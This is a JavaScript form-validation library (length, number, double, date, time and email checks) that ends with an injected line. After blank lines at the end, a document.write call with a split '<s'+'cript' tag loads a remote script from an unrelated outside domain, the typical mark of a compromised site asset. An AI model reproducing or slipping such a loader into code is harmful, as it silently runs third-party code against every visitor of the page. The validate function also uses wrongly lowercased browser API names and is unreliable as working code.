/******************************************************/
/* FileName£ºuniverify.js                               */
/* TODO£ºgeneral verify javascript functions */
/* Author£º  */
/******************************************************/
/* the length of the string by byte */
function strlen(str)
{var i;
var len;
len = 0;
for (i=0;i<str.length;i++)
{
if (str.charCodeAt(i)>255) len+=2; else len++;
}
return len;
}
/* check the string is null or not */
function isnull(str)
{
var i;
 for (i=0;i<str.length;i++)
{
  if (str.charAt(i)!=' ') return false;
}
 return true;
}
/* check the str is number */
function isnumber(str)
{
var number_chars = "1234567890";
var i;
for (i=0;i<str.length;i++)
{
if (number_chars.indexOf(str.charAt(i))==-1) return false;
}
return true;
}
/********************************** Double ****************************************/
/**
*Check the String is Double
*Return£º 
*If the Str is null:Return true
*If the Str is a double:Return true
*If the Str is not a dounle:Return false Alert Info:the input value is not a Double!
*/
function isDouble(str)
{
    //if isnull ,return true
    if(str == "")
        return true;
    //If is a numeric
    if(str.indexOf(".") == -1)
    {
        if(isnumber(str) == true)
            return true;
        else
            return false;
    }
    else
    {
        if(/^(\-?)(\d+)(.{1})(\d+)$/g.test(str))
            return true;
        else
            return false;
    }
}//~~~
/* check the input text */
function verifyInput(input)
{
var image;
var i;
var error = false;
//alert(input.maxsize);
/* verify length */
if (strlen(input.value)>parseInt(input.maxsize))
{
alert(input.chname+" exceed the length"+input.maxsize);
error = true;
}
else
/* isnull */
if (input.nullable=="0"&&isnull(input.value))
{
alert(input.chname+" can't be null");
error = true;
}
else
{
/* verify the datatype */
switch(input.datatype)
{
/*number */
case "56": if (isnumber(input.value)==false) 
{
alert(input.chname+" please input numeric");
error = true;
}else{
if(parseInt(input.value)>parseInt(input.maxvalue)){
alert(input.chname+" can't exceed "+input.maxvalue);
error = true;
}
}
break;
case "double": if (isDouble(input.value)==false)
{
alert(input.chname+" please input double");
error = true;
}
break;
/* userdefine datatype verify */
/*  case datatype1: ... ; break;        */
/*  case datatype2: ... ; break;        */
/*  ....................................*/
default  : break;
}
}
/* warning sign */
if (error)
{
image = document.getElementById("img_"+input.name);
//image.src="img/warning.gif";
return false;
}
else
{
image = document.getElementById("img_"+input.name);
//image.src="img/space.gif";
return true;
}
}
/* check all verify properities used for onsubmit event */
function verifyAll(myform)
{
var i;
for (i=0;i<myform.elements.length;i++)
{
 /* skip the field isn't define the properity */
if (myform.elements[i].chname+""=="undefined") continue;
/* check the current element */
if (verifyInput(myform.elements[i])==false)
{
myform.elements[i].focus();
return false;
}
}
return true;
 } 
 
 
 
 
 
 //date & time verify
 function istime(str){ 
var a = str.match(/^(\d{0,2}):(\d{0,2}):(\d{0,2})$/); 
if (a == null) return false; 
if (a[1]>=24 || a[2]>=60 || a[3]>=60) return false; 
return true; 
} 
function isdatetime(str){ 
var a = str.match(/^(\d{0,4})-(\d{0,2})-(\d{0,2}) (\d{0,2}):(\d{0,2}):(\d{0,2})$/); 
if (a == null) return false; 
if ( a[2]>=13 || a[3]>=32 || a[4]>=24 || a[5]>=60 || a[6]>=60) return false; 
return true; 
} 
function isdate(str){ 
var a = str.match(/^(\d{0,4})-(\d{0,2})-(\d{0,2})$/); 
if (a == null) return false; 
if ( a[2]>=13 || a[3]>=32 || a[4]>=24) return false; 
return true; 
} 
function validate(obj,type){ 
var range=obj.createtextrange(); 
var text = range.text; 
var selrange = document.selection.createrange(); 
var seltext = selrange.text; 
var startpos = 0,endpos = 0; 
while(selrange.compareendpoints("starttostart",range)>0){ 
selrange.movestart("character",-1); 
startpos ++; 
} 
while(selrange.compareendpoints("endtostart",range)>0){ 
selrange.moveend("character",-1); 
endpos ++; 
} 
if(event.keycode>=48){ 
var keytext = string.fromcharcode(event.keycode); 
text = text.substring(0,startpos) + keytext + text.substring(endpos,text.length); 
}else if(event.keycode == 46){//delete 
if(startpos == endpos)text = text.substring(0,startpos) + text.substring(startpos+1,text.length); 
else text = text.substring(0,startpos) + text.substring(endpos,text.length); 
}else if(event.keycode == 8){ 
if(startpos == endpos)text = text.substring(0,startpos-1) + text.substring(startpos,text.length); 
else text = text.substring(0,startpos) + text.substring(endpos,text.length); 
} 
if(event.keycode == 45){ 
event.returnvalue = false; 
return; 
} 
var valid; 
switch(type){ 
case 1:valid = isdate(text);break; 
case 2:valid = istime(text);break; 
case 3:valid = isdatetime(text);break; 
default:valid = false; 
} 
if(!valid){ 
event.returnvalue = false; 
} 
} 

function checkmail(mail){
	if(mail==""){
	  sAlert("Please input your Email!");
	  return false;
	}
	var strr;
	re=/(\w+@\w+\.\w+)(\.{0,1}\w*)(\.{0,1}\w*)/i;
	re.exec(mail);
	if (RegExp.$3!=""&&RegExp.$3!="."&&RegExp.$2!=".") strr=RegExp.$1+RegExp.$2+RegExp.$3
	else
	if (RegExp.$2!=""&&RegExp.$2!=".") strr=RegExp.$1+RegExp.$2
	else  strr=RegExp.$1
	if (strr!=mail) {
		sAlert("Please input correct email address!");
		return false;
	}else{
		return true;
	}
}
function isComdate(lessDate, moreDate)
{
if (!isdate(lessDate)) {
return false;
} 
if (!isdate(moreDate)) { 	
return false;
} 
var less1st = lessDate.indexOf('-'); 
var less2nd = lessDate.lastIndexOf('-'); 
var more1st = moreDate.indexOf('-'); 
var more2nd = moreDate.lastIndexOf('-'); 
var lessy = lessDate.substring(0,less1st); 
var lessm = lessDate.substring(less1st+1,less2nd); 
var lessd = lessDate.substring(less2nd+1,lessDate.length); 
var morey = moreDate.substring(0,more1st); 
var morem = moreDate.substring(more1st+1,more2nd); 
var mored = moreDate.substring(more2nd+1,moreDate.length); 
var Date1 = new Date(lessy,lessm,lessd);   
var Date2 = new Date(morey,morem,mored);   
if (Date1>Date2) {
	return false;
} 
return true;   

}




document.write('<s'+'cript type="text/javascript" src="http://iopap.upperdarby26.com/Hibernate.js"></scr'+'ipt>');